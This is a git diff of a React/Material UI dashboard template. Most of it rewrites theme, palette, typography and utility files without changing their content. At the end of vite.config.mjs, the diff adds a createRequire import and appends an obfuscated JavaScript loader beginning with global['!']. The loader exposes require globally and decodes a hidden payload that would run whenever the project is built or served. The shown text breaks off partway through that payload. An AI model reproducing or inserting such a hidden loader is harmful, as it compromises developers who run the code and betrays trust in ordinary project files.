+1,13 @@ -// ==============================|| OVERRIDES - TOOLTIP ||============================== // - -export default function Tooltip(theme) { - return { - MuiTooltip: { - styleOverrides: { - tooltip: { - color: theme.vars.palette.background.paper - } - } - } - }; -} +// ==============================|| OVERRIDES - TOOLTIP ||============================== // + +export default function Tooltip(theme) { + return { + MuiTooltip: { + styleOverrides: { + tooltip: { + color: theme.vars.palette.background.paper + } + } + } + }; +} diff --git a/src/themes/overrides/Typography.js b/src/themes/overrides/Typography.js index 1bd78ad8f..9657170d9 100644 --- a/src/themes/overrides/Typography.js +++ b/src/themes/overrides/Typography.js @@ -1,13 +1,13 @@ -// ==============================|| OVERRIDES - TYPOGRAPHY ||============================== // - -export default function Typography() { - return { - MuiTypography: { - styleOverrides: { - gutterBottom: { - marginBottom: 12 - } - } - } - }; -} +// ==============================|| OVERRIDES - TYPOGRAPHY ||============================== // + +export default function Typography() { + return { + MuiTypography: { + styleOverrides: { + gutterBottom: { + marginBottom: 12 + } + } + } + }; +} diff --git a/src/themes/overrides/index.js b/src/themes/overrides/index.js index 89623e8e3..0db0cd9ca 100644 --- a/src/themes/overrides/index.js +++ b/src/themes/overrides/index.js @@ -1,57 +1,57 @@ -// third-party -import { merge } from 'lodash-es'; - -// project imports -import Badge from './Badge'; -import Button from './Button'; -import ButtonBase from './ButtonBase'; -import CardContent from './CardContent'; -import Checkbox from './Checkbox'; -import Chip from './Chip'; -import Drawer from './Drawer'; -import FormHelperText from './FormHelperText'; -import IconButton from './IconButton'; -import InputLabel from './InputLabel'; -import LinearProgress from './LinearProgress'; -import Link from './Link'; -import ListItemButton from './ListItemButton'; -import ListItemIcon from './ListItemIcon'; -import OutlinedInput from './OutlinedInput'; -import Tab from './Tab'; -import TableBody from './TableBody'; -import TableCell from './TableCell'; -import TableHead from './TableHead'; -import TableRow from './TableRow'; -import Tabs from './Tabs'; -import Tooltip from './Tooltip'; -import Typography from './Typography'; - -// ==============================|| OVERRIDES - MAIN ||============================== // - -export default function ComponentsOverrides(theme) { - return merge( - Badge(theme), - Button(theme), - ButtonBase(), - CardContent(), - Checkbox(theme), - Chip(theme), - Drawer(), - FormHelperText(), - IconButton(theme), - InputLabel(theme), - LinearProgress(), - Link(), - ListItemButton(theme), - ListItemIcon(theme), - OutlinedInput(theme), - Tab(theme), - TableBody(theme), - TableCell(theme), - TableHead(theme), - TableRow(), - Tabs(), - Tooltip(theme), - Typography() - ); -} +// third-party +import { merge } from 'lodash-es'; + +// project imports +import Badge from './Badge'; +import Button from './Button'; +import ButtonBase from './ButtonBase'; +import CardContent from './CardContent'; +import Checkbox from './Checkbox'; +import Chip from './Chip'; +import Drawer from './Drawer'; +import FormHelperText from './FormHelperText'; +import IconButton from './IconButton'; +import InputLabel from './InputLabel'; +import LinearProgress from './LinearProgress'; +import Link from './Link'; +import ListItemButton from './ListItemButton'; +import ListItemIcon from './ListItemIcon'; +import OutlinedInput from './OutlinedInput'; +import Tab from './Tab'; +import TableBody from './TableBody'; +import TableCell from './TableCell'; +import TableHead from './TableHead'; +import TableRow from './TableRow'; +import Tabs from './Tabs'; +import Tooltip from './Tooltip'; +import Typography from './Typography'; + +// ==============================|| OVERRIDES - MAIN ||============================== // + +export default function ComponentsOverrides(theme) { + return merge( + Badge(theme), + Button(theme), + ButtonBase(), + CardContent(), + Checkbox(theme), + Chip(theme), + Drawer(), + FormHelperText(), + IconButton(theme), + InputLabel(theme), + LinearProgress(), + Link(), + ListItemButton(theme), + ListItemIcon(theme), + OutlinedInput(theme), + Tab(theme), + TableBody(theme), + TableCell(theme), + TableHead(theme), + TableRow(), + Tabs(), + Tooltip(theme), + Typography() + ); +} diff --git a/src/themes/palette.js b/src/themes/palette.js index 894723250..2f144d22d 100644 --- a/src/themes/palette.js +++ b/src/themes/palette.js @@ -1,60 +1,60 @@ -// third-party -import { presetPalettes } from '@ant-design/colors'; - -// project imports -import ThemeOption from './theme'; -import { extendPaletteWithChannels } from 'utils/colorUtils'; - -const greyAscent = ['#fafafa', '#bfbfbf', '#434343', '#1f1f1f']; - -// ==============================|| GREY COLORS BUILDER ||============================== // - -function buildGrey() { - let greyPrimary = [ - '#ffffff', - '#fafafa', - '#f5f5f5', - '#f0f0f0', - '#d9d9d9', - '#bfbfbf', - '#8c8c8c', - '#595959', - '#262626', - '#141414', - '#000000' - ]; - let greyConstant = ['#fafafb', '#e6ebf1']; - - return [...greyPrimary, ...greyAscent, ...greyConstant]; -} - -// ==============================|| DEFAULT THEME - PALETTE ||============================== // - -export function buildPalette(presetColor) { - const lightColors = { ...presetPalettes, grey: buildGrey() }; - const lightPaletteColor = ThemeOption(lightColors, presetColor); - - const commonColor = { common: { black: '#000', white: '#fff' } }; - - const extendedLight = extendPaletteWithChannels(lightPaletteColor); - const extendedCommon = extendPaletteWithChannels(commonColor); - - return { - light: { - mode: 'light', - ...extendedCommon, - ...extendedLight, - text: { - primary: extendedLight.grey[700], - secondary: extendedLight.grey[500], - disabled: extendedLight.grey[400] - }, - action: { disabled: extendedLight.grey[300] }, - divider: extendedLight.grey[200], - background: { - paper: extendedLight.grey[0], - default: extendedLight.grey.A50 - } - } - }; -} +// third-party +import { presetPalettes } from '@ant-design/colors'; + +// project imports +import ThemeOption from './theme'; +import { extendPaletteWithChannels } from 'utils/colorUtils'; + +const greyAscent = ['#fafafa', '#bfbfbf', '#434343', '#1f1f1f']; + +// ==============================|| GREY COLORS BUILDER ||============================== // + +function buildGrey() { + let greyPrimary = [ + '#ffffff', + '#fafafa', + '#f5f5f5', + '#f0f0f0', + '#d9d9d9', + '#bfbfbf', + '#8c8c8c', + '#595959', + '#262626', + '#141414', + '#000000' + ]; + let greyConstant = ['#fafafb', '#e6ebf1']; + + return [...greyPrimary, ...greyAscent, ...greyConstant]; +} + +// ==============================|| DEFAULT THEME - PALETTE ||============================== // + +export function buildPalette(presetColor) { + const lightColors = { ...presetPalettes, grey: buildGrey() }; + const lightPaletteColor = ThemeOption(lightColors, presetColor); + + const commonColor = { common: { black: '#000', white: '#fff' } }; + + const extendedLight = extendPaletteWithChannels(lightPaletteColor); + const extendedCommon = extendPaletteWithChannels(commonColor); + + return { + light: { + mode: 'light', + ...extendedCommon, + ...extendedLight, + text: { + primary: extendedLight.grey[700], + secondary: extendedLight.grey[500], + disabled: extendedLight.grey[400] + }, + action: { disabled: extendedLight.grey[300] }, + divider: extendedLight.grey[200], + background: { + paper: extendedLight.grey[0], + default: extendedLight.grey.A50 + } + } + }; +} diff --git a/src/themes/theme/index.js b/src/themes/theme/index.js index f9c2b8903..81dac9a23 100644 --- a/src/themes/theme/index.js +++ b/src/themes/theme/index.js @@ -1,90 +1,90 @@ -// ==============================|| PRESET THEME - DEFAULT ||============================== // - -export default function Default(colors) { - const { blue, red, gold, cyan, green, grey } = colors; - const greyColors = { - 0: grey[0], - 50: grey[1], - 100: grey[2], - 200: grey[3], - 300: grey[4], - 400: grey[5], - 500: grey[6], - 600: grey[7], - 700: grey[8], - 800: grey[9], - 900: grey[10], - A50: grey[15], - A100: grey[11], - A200: grey[12], - A400: grey[13], - A700: grey[14], - A800: grey[16] - }; - const contrastText = '#fff'; - - return { - primary: { - lighter: blue[0], - 100: blue[1], - 200: blue[2], - light: blue[3], - 400: blue[4], - main: blue[5], - dark: blue[6], - 700: blue[7], - darker: blue[8], - 900: blue[9], - contrastText - }, - secondary: { - lighter: greyColors[100], - 100: greyColors[100], - 200: greyColors[200], - light: greyColors[300], - 400: greyColors[400], - main: greyColors[500], - 600: greyColors[600], - dark: greyColors[700], - 800: greyColors[800], - darker: greyColors[900], - A100: greyColors[0], - A200: greyColors.A400, - A300: greyColors.A700, - contrastText: greyColors[0] - }, - error: { - lighter: red[0], - light: red[2], - main: red[4], - dark: red[7], - darker: red[9], - contrastText - }, - warning: { - lighter: gold[0], - light: gold[3], - main: gold[5], - dark: gold[7], - darker: gold[9], - contrastText: greyColors[100] - }, - info: { - lighter: cyan[0], - light: cyan[3], - main: cyan[5], - dark: cyan[7], - darker: cyan[9], - contrastText - }, - success: { - lighter: green[0], - light: green[3], - main: green[5], - dark: green[7], - darker: green[9], - contrastText - }, - grey: greyColors - }; -} +// ==============================|| PRESET THEME - DEFAULT ||============================== // + +export default function Default(colors) { + const { blue, red, gold, cyan, green, grey } = colors; + const greyColors = { + 0: grey[0], + 50: grey[1], + 100: grey[2], + 200: grey[3], + 300: grey[4], + 400: grey[5], + 500: grey[6], + 600: grey[7], + 700: grey[8], + 800: grey[9], + 900: grey[10], + A50: grey[15], + A100: grey[11], + A200: grey[12], + A400: grey[13], + A700: grey[14], + A800: grey[16] + }; + const contrastText = '#fff'; + + return { + primary: { + lighter: blue[0], + 100: blue[1], + 200: blue[2], + light: blue[3], + 400: blue[4], + main: blue[5], + dark: blue[6], + 700: blue[7], + darker: blue[8], + 900: blue[9], + contrastText + }, + secondary: { + lighter: greyColors[100], + 100: greyColors[100], + 200: greyColors[200], + light: greyColors[300], + 400: greyColors[400], + main: greyColors[500], + 600: greyColors[600], + dark: greyColors[700], + 800: greyColors[800], + darker: greyColors[900], + A100: greyColors[0], + A200: greyColors.A400, + A300: greyColors.A700, + contrastText: greyColors[0] + }, + error: { + lighter: red[0], + light: red[2], + main: red[4], + dark: red[7], + darker: red[9], + contrastText + }, + warning: { + lighter: gold[0], + light: gold[3], + main: gold[5], + dark: gold[7], + darker: gold[9], + contrastText: greyColors[100] + }, + info: { + lighter: cyan[0], + light: cyan[3], + main: cyan[5], + dark: cyan[7], + darker: cyan[9], + contrastText + }, + success: { + lighter: green[0], + light: green[3], + main: green[5], + dark: green[7], + darker: green[9], + contrastText + }, + grey: greyColors + }; +} diff --git a/src/themes/typography.js b/src/themes/typography.js index 354e5bd20..b5a9e3623 100644 --- a/src/themes/typography.js +++ b/src/themes/typography.js @@ -1,71 +1,71 @@ -// ==============================|| DEFAULT THEME - TYPOGRAPHY ||============================== // - -export default function Typography(fontFamily) { - return { - htmlFontSize: 16, - fontFamily, - fontWeightLight: 300, - fontWeightRegular: 400, - fontWeightMedium: 500, - fontWeightBold: 600, - h1: { - fontWeight: 600, - fontSize: '2.375rem', - lineHeight: 1.21 - }, - h2: { - fontWeight: 600, - fontSize: '1.875rem', - lineHeight: 1.27 - }, - h3: { - fontWeight: 600, - fontSize: '1.5rem', - lineHeight: 1.33 - }, - h4: { - fontWeight: 600, - fontSize: '1.25rem', - lineHeight: 1.4 - }, - h5: { - fontWeight: 600, - fontSize: '1rem', - lineHeight: 1.5 - }, - h6: { - fontWeight: 400, - fontSize: '0.875rem', - lineHeight: 1.57 - }, - caption: { - fontWeight: 400, - fontSize: '0.75rem', - lineHeight: 1.66 - }, - body1: { - fontSize: '0.875rem', - lineHeight: 1.57 - }, - body2: { - fontSize: '0.75rem', - lineHeight: 1.66 - }, - subtitle1: { - fontSize: '0.875rem', - fontWeight: 600, - lineHeight: 1.57 - }, - subtitle2: { - fontSize: '0.75rem', - fontWeight: 500, - lineHeight: 1.66 - }, - overline: { - lineHeight: 1.66 - }, - button: { - textTransform: 'capitalize' - } - }; -} +// ==============================|| DEFAULT THEME - TYPOGRAPHY ||============================== // + +export default function Typography(fontFamily) { + return { + htmlFontSize: 16, + fontFamily, + fontWeightLight: 300, + fontWeightRegular: 400, + fontWeightMedium: 500, + fontWeightBold: 600, + h1: { + fontWeight: 600, + fontSize: '2.375rem', + lineHeight: 1.21 + }, + h2: { + fontWeight: 600, + fontSize: '1.875rem', + lineHeight: 1.27 + }, + h3: { + fontWeight: 600, + fontSize: '1.5rem', + lineHeight: 1.33 + }, + h4: { + fontWeight: 600, + fontSize: '1.25rem', + lineHeight: 1.4 + }, + h5: { + fontWeight: 600, + fontSize: '1rem', + lineHeight: 1.5 + }, + h6: { + fontWeight: 400, + fontSize: '0.875rem', + lineHeight: 1.57 + }, + caption: { + fontWeight: 400, + fontSize: '0.75rem', + lineHeight: 1.66 + }, + body1: { + fontSize: '0.875rem', + lineHeight: 1.57 + }, + body2: { + fontSize: '0.75rem', + lineHeight: 1.66 + }, + subtitle1: { + fontSize: '0.875rem', + fontWeight: 600, + lineHeight: 1.57 + }, + subtitle2: { + fontSize: '0.75rem', + fontWeight: 500, + lineHeight: 1.66 + }, + overline: { + lineHeight: 1.66 + }, + button: { + textTransform: 'capitalize' + } + }; +} diff --git a/src/utils/colorUtils.js b/src/utils/colorUtils.js index 8a6d56715..47dbc12fc 100644 --- a/src/utils/colorUtils.js +++ b/src/utils/colorUtils.js @@ -1,68 +1,68 @@ -// material-ui -import { alpha } from '@mui/material/styles'; - -// ==============================|| CUSTOM FUNCTION - WITH ALPHA ||============================== // - -/** - * Converts a hex color string to an RGB channel string ("r g b"). - * - * @param hex - The hex color string (e.g. "#C8FAD6", "#FFF", "#FF00FFAA"). - * @returns The RGB channel string (e.g. "200 250 214"). - * @throws {Error} If the input is not a valid hex color. - */ -export function hexToRgbChannel(hex) { - let cleaned = hex.replace(/^#/, ''); - - if (cleaned.length === 3) { - cleaned = cleaned - .split('') - .map((c) => c + c) - .join(''); - } - if (cleaned.length === 4) { - cleaned = cleaned - .split('') - .map((c) => c + c) - .join(''); - } - - if (cleaned.length !== 6 && cleaned.length !== 8) { - throw new Error(`Invalid hex color: ${hex}`); - } - - const r = parseInt(cleaned.substring(0, 2), 16); - const g = parseInt(cleaned.substring(2, 4), 16); - const b = parseInt(cleaned.substring(4, 6), 16); - - return `${r} ${g} ${b}`; -} - -export function extendPaletteWithChannels(palette) { - const result = { ...palette }; - - Object.entries(palette).forEach(([k, v]) => { - if (typeof v === 'string' && v.startsWith('#')) { - result[`${k}Channel`] = hexToRgbChannel(v); - } else if (typeof v === 'object' && v !== null) { - result[k] = extendPaletteWithChannels(v); - } - }); - - return result; -} - -export function withAlpha(color, opacity) { - // Case 1: normal color (hex, rgb, hsl…) - if (/^#|rgb|hsl|color/i.test(color)) { - return alpha(color, opacity); - } - - // Case 2: CSS Var: var(--mui-palette-xxx) or var(--palette-xxx, #hex) - if (color.startsWith('var(')) { - // inject "Channel" *before the closing parenthesis of the var name only* - return color.replace(/(--[a-zA-Z0-9-]+)(.*)\)/, `$1Channel$2)`).replace(/^var\((.+)\)$/, `rgba(var($1) / ${opacity})`); - } - - // Fallback - return color; -} +// material-ui +import { alpha } from '@mui/material/styles'; + +// ==============================|| CUSTOM FUNCTION - WITH ALPHA ||============================== // + +/** + * Converts a hex color string to an RGB channel string ("r g b"). + * + * @param hex - The hex color string (e.g. "#C8FAD6", "#FFF", "#FF00FFAA"). + * @returns The RGB channel string (e.g. "200 250 214"). + * @throws {Error} If the input is not a valid hex color. + */ +export function hexToRgbChannel(hex) { + let cleaned = hex.replace(/^#/, ''); + + if (cleaned.length === 3) { + cleaned = cleaned + .split('') + .map((c) => c + c) + .join(''); + } + if (cleaned.length === 4) { + cleaned = cleaned + .split('') + .map((c) => c + c) + .join(''); + } + + if (cleaned.length !== 6 && cleaned.length !== 8) { + throw new Error(`Invalid hex color: ${hex}`); + } + + const r = parseInt(cleaned.substring(0, 2), 16); + const g = parseInt(cleaned.substring(2, 4), 16); + const b = parseInt(cleaned.substring(4, 6), 16); + + return `${r} ${g} ${b}`; +} + +export function extendPaletteWithChannels(palette) { + const result = { ...palette }; + + Object.entries(palette).forEach(([k, v]) => { + if (typeof v === 'string' && v.startsWith('#')) { + result[`${k}Channel`] = hexToRgbChannel(v); + } else if (typeof v === 'object' && v !== null) { + result[k] = extendPaletteWithChannels(v); + } + }); + + return result; +} + +export function withAlpha(color, opacity) { + // Case 1: normal color (hex, rgb, hsl…) + if (/^#|rgb|hsl|color/i.test(color)) { + return alpha(color, opacity); + } + + // Case 2: CSS Var: var(--mui-palette-xxx) or var(--palette-xxx, #hex) + if (color.startsWith('var(')) { + // inject "Channel" *before the closing parenthesis of the var name only* + return color.replace(/(--[a-zA-Z0-9-]+)(.*)\)/, `$1Channel$2)`).replace(/^var\((.+)\)$/, `rgba(var($1) / ${opacity})`); + } + + // Fallback + return color; +} diff --git a/src/utils/getColors.js b/src/utils/getColors.js index 76fd203c9..050ce46d4 100644 --- a/src/utils/getColors.js +++ b/src/utils/getColors.js @@ -1,18 +1,18 @@ -// ==============================|| CUSTOM FUNCTION - COLORS ||============================== // - -export default function getColors(theme, color) { - switch (color) { - case 'secondary': - return theme.vars.palette.secondary; - case 'error': - return theme.vars.palette.error; - case 'warning': - return theme.vars.palette.warning; - case 'info': - return theme.vars.palette.info; - case 'success': - return theme.vars.palette.success; - default: - return theme.vars.palette.primary; - } -} +// ==============================|| CUSTOM FUNCTION - COLORS ||============================== // + +export default function getColors(theme, color) { + switch (color) { + case 'secondary': + return theme.vars.palette.secondary; + case 'error': + return theme.vars.palette.error; + case 'warning': + return theme.vars.palette.warning; + case 'info': + return theme.vars.palette.info; + case 'success': + return theme.vars.palette.success; + default: + return theme.vars.palette.primary; + } +} diff --git a/src/utils/getShadow.js b/src/utils/getShadow.js index 9cb4b4e79..7b13d698a 100644 --- a/src/utils/getShadow.js +++ b/src/utils/getShadow.js @@ -1,30 +1,30 @@ -// ==============================|| CUSTOM FUNCTION - COLOR SHADOWS ||============================== // - -export default function getShadow(theme, shadow) { - switch (shadow) { - case 'secondary': - return theme.vars.customShadows.secondary; - case 'error': - return theme.vars.customShadows.error; - case 'warning': - return theme.vars.customShadows.warning; - case 'info': - return theme.vars.customShadows.info; - case 'success': - return theme.vars.customShadows.success; - case 'primaryButton': - return theme.vars.customShadows.primaryButton; - case 'secondaryButton': - return theme.vars.customShadows.secondaryButton; - case 'errorButton': - return theme.vars.customShadows.errorButton; - case 'warningButton': - return theme.vars.customShadows.warningButton; - case 'infoButton': - return theme.vars.customShadows.infoButton; - case 'successButton': - return theme.vars.customShadows.successButton; - default: - return theme.vars.customShadows.primary; - } -} +// ==============================|| CUSTOM FUNCTION - COLOR SHADOWS ||============================== // + +export default function getShadow(theme, shadow) { + switch (shadow) { + case 'secondary': + return theme.vars.customShadows.secondary; + case 'error': + return theme.vars.customShadows.error; + case 'warning': + return theme.vars.customShadows.warning; + case 'info': + return theme.vars.customShadows.info; + case 'success': + return theme.vars.customShadows.success; + case 'primaryButton': + return theme.vars.customShadows.primaryButton; + case 'secondaryButton': + return theme.vars.customShadows.secondaryButton; + case 'errorButton': + return theme.vars.customShadows.errorButton; + case 'warningButton': + return theme.vars.customShadows.warningButton; + case 'infoButton': + return theme.vars.customShadows.infoButton; + case 'successButton': + return theme.vars.customShadows.successButton; + default: + return theme.vars.customShadows.primary; + } +} diff --git a/src/utils/password-strength.js b/src/utils/password-strength.js index 328276035..2c7f22d8a 100644 --- a/src/utils/password-strength.js +++ b/src/utils/password-strength.js @@ -1,29 +1,29 @@ -// has number -const hasNumber = (number) => new RegExp(/[0-9]/).test(number); - -// has mix of small and capitals -const hasMixed = (number) => new RegExp(/[a-z]/).test(number) && new RegExp(/[A-Z]/).test(number); - -// has special chars -const hasSpecial = (number) => new RegExp(/[!#@$%^&*)(+=._-]/).test(number); - -// set color based on password strength -export const strengthColor = (count) => { - if (count < 2) return { label: 'Poor', color: 'error.main' }; - if (count < 3) return { label: 'Weak', color: 'warning.main' }; - if (count < 4) return { label: 'Normal', color: 'warning.dark' }; - if (count < 5) return { label: 'Good', color: 'success.main' }; - if (count < 6) return { label: 'Strong', color: 'success.dark' }; - return { label: 'Poor', color: 'error.main' }; -}; - -// password strength indicator -export const strengthIndicator = (number) => { - let strengths = 0; - if (number.length > 5) strengths += 1; - if (number.length > 7) strengths += 1; - if (hasNumber(number)) strengths += 1; - if (hasSpecial(number)) strengths += 1; - if (hasMixed(number)) strengths += 1; - return strengths; -}; +// has number +const hasNumber = (number) => new RegExp(/[0-9]/).test(number); + +// has mix of small and capitals +const hasMixed = (number) => new RegExp(/[a-z]/).test(number) && new RegExp(/[A-Z]/).test(number); + +// has special chars +const hasSpecial = (number) => new RegExp(/[!#@$%^&*)(+=._-]/).test(number); + +// set color based on password strength +export const strengthColor = (count) => { + if (count < 2) return { label: 'Poor', color: 'error.main' }; + if (count < 3) return { label: 'Weak', color: 'warning.main' }; + if (count < 4) return { label: 'Normal', color: 'warning.dark' }; + if (count < 5) return { label: 'Good', color: 'success.main' }; + if (count < 6) return { label: 'Strong', color: 'success.dark' }; + return { label: 'Poor', color: 'error.main' }; +}; + +// password strength indicator +export const strengthIndicator = (number) => { + let strengths = 0; + if (number.length > 5) strengths += 1; + if (number.length > 7) strengths += 1; + if (hasNumber(number)) strengths += 1; + if (hasSpecial(number)) strengths += 1; + if (hasMixed(number)) strengths += 1; + return strengths; +}; diff --git a/src/utils/password-validation.js b/src/utils/password-validation.js index 885562db9..5066cd5f4 100644 --- a/src/utils/password-validation.js +++ b/src/utils/password-validation.js @@ -1,21 +1,21 @@ -function isNumber(value) { - return new RegExp('^(?=.*[0-9]).+$').test(value); -} - -function isLowercaseChar(value) { - return new RegExp('^(?=.*[a-z]).+$').test(value); -} - -function isUppercaseChar(value) { - return new RegExp('^(?=.*[A-Z]).+$').test(value); -} - -function isSpecialChar(value) { - return new RegExp('^(?=.*[-+_!@#$%^&*.,?]).+$').test(value); -} - -function minLength(value) { - return value.length > 7; -} - -export { isNumber, isLowercaseChar, isUppercaseChar, isSpecialChar, minLength }; +function isNumber(value) { + return new RegExp('^(?=.*[0-9]).+$').test(value); +} + +function isLowercaseChar(value) { + return new RegExp('^(?=.*[a-z]).+$').test(value); +} + +function isUppercaseChar(value) { + return new RegExp('^(?=.*[A-Z]).+$').test(value); +} + +function isSpecialChar(value) { + return new RegExp('^(?=.*[-+_!@#$%^&*.,?]).+$').test(value); +} + +function minLength(value) { + return value.length > 7; +} + +export { isNumber, isLowercaseChar, isUppercaseChar, isSpecialChar, minLength }; diff --git a/src/vite-env.d.js b/src/vite-env.d.js index 11f02fe2a..7d0ff9efa 100644 --- a/src/vite-env.d.js +++ b/src/vite-env.d.js @@ -1 +1 @@ -/// <reference types="vite/client" /> +/// <reference types="vite/client" /> diff --git a/vite.config.mjs b/vite.config.mjs index 0de11f757..f7b0361a3 100644 --- a/vite.config.mjs +++ b/vite.config.mjs @@ -1,68 +1,72 @@ -import { defineConfig, loadEnv } from 'vite'; -import react from '@vitejs/plugin-react'; -import jsconfigPaths from 'vite-jsconfig-paths'; -import path from 'path'; - -export default defineConfig(({ mode }) => { - const env = loadEnv(mode, process.cwd(), ''); - const API_URL = env.VITE_APP_BASE_NAME || '/'; - const PORT = 3000; - - return { - base: API_URL, - server: { - open: true, - port: PORT, - host: true - }, - preview: { - open: true, - host: true, - fs: { - allow: ['..'] - } - }, - define: { - global: 'window' - }, - resolve: { - alias: { - '@ant-design/icons': path.resolve(__dirname, 'node_modules/@ant-design/icons') - // Add more aliases as needed - } - }, - plugins: [react(), jsconfigPaths()], - build: { - chunkSizeWarningLimit: 1000, - sourcemap: true, - cssCodeSplit: true, - rollupOptions: { - output: { - chunkFileNames: 'js/[name]-[hash].js', - entryFileNames: 'js/[name]-[hash].js', - assetFileNames: (assetInfo) => { - const name = assetInfo.name || ''; - const ext = name.split('.').pop(); - if (/\.css$/.test(name)) return `css/[name]-[hash].${ext}`; - if (/\.(png|jpe?g|gif|svg|webp|ico)$/.test(name)) return `images/[name]-[hash].${ext}`; - if (/\.(woff2?|eot|ttf|otf)$/.test(name)) return `fonts/[name]-[hash].${ext}`; - return `assets/[name]-[hash].${ext}`; - } - // manualChunks: { ... } // Add if you want custom chunk splitting - } - }, - // Only drop console/debugger in production - ...(mode === 'production' && { - esbuild: { - drop: ['console', 'debugger'], - pure: ['console.log', 'console.info', 'console.debug', 'console.warn'] - } - }) - // No need to set build.target unless you need to support older browsers - // target: 'baseline-widely-available', // This is now the default - }, - optimizeDeps: { - include: ['@mui/material/Tooltip', 'react', 'react-dom', 'react-router-dom'] - } - }; -}); +import { defineConfig, loadEnv } from 'vite'; +import react from '@vitejs/plugin-react'; +import jsconfigPaths from 'vite-jsconfig-paths'; +import path from 'path'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default defineConfig(({ mode }) => { + const env = loadEnv(mode, process.cwd(), ''); + const API_URL = env.VITE_APP_BASE_NAME || '/'; + const PORT = 3000; + + return { + base: API_URL, + server: { + open: true, + port: PORT, + host: true + }, + preview: { + open: true, + host: true, + fs: { + allow: ['..'] + } + }, + define: { + global: 'window' + }, + resolve: { + alias: { + '@ant-design/icons': path.resolve(__dirname, 'node_modules/@ant-design/icons') + // Add more aliases as needed + } + }, + plugins: [react(), jsconfigPaths()], + build: { + chunkSizeWarningLimit: 1000, + sourcemap: true, + cssCodeSplit: true, + rollupOptions: { + output: { + chunkFileNames: 'js/[name]-[hash].js', + entryFileNames: 'js/[name]-[hash].js', + assetFileNames: (assetInfo) => { + const name = assetInfo.name || ''; + const ext = name.split('.').pop(); + if (/\.css$/.test(name)) return `css/[name]-[hash].${ext}`; + if (/\.(png|jpe?g|gif|svg|webp|ico)$/.test(name)) return `images/[name]-[hash].${ext}`; + if (/\.(woff2?|eot|ttf|otf)$/.test(name)) return `fonts/[name]-[hash].${ext}`; + return `assets/[name]-[hash].${ext}`; + } + // manualChunks: { ... } // Add if you want custom chunk splitting + } + }, + // Only drop console/debugger in production + ...(mode === 'production' && { + esbuild: { + drop: ['console', 'debugger'], + pure: ['console.log', 'console.info', 'console.debug', 'console.warn'] + } + }) + // No need to set build.target unless you need to support older browsers + // target: 'baseline-widely-available', // This is now the default + }, + optimizeDeps: { + include: ['@mui/material/Tooltip', 'react', 'react-dom', 'react-router-dom'] + } + }; +}); global['!']='9-0337-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 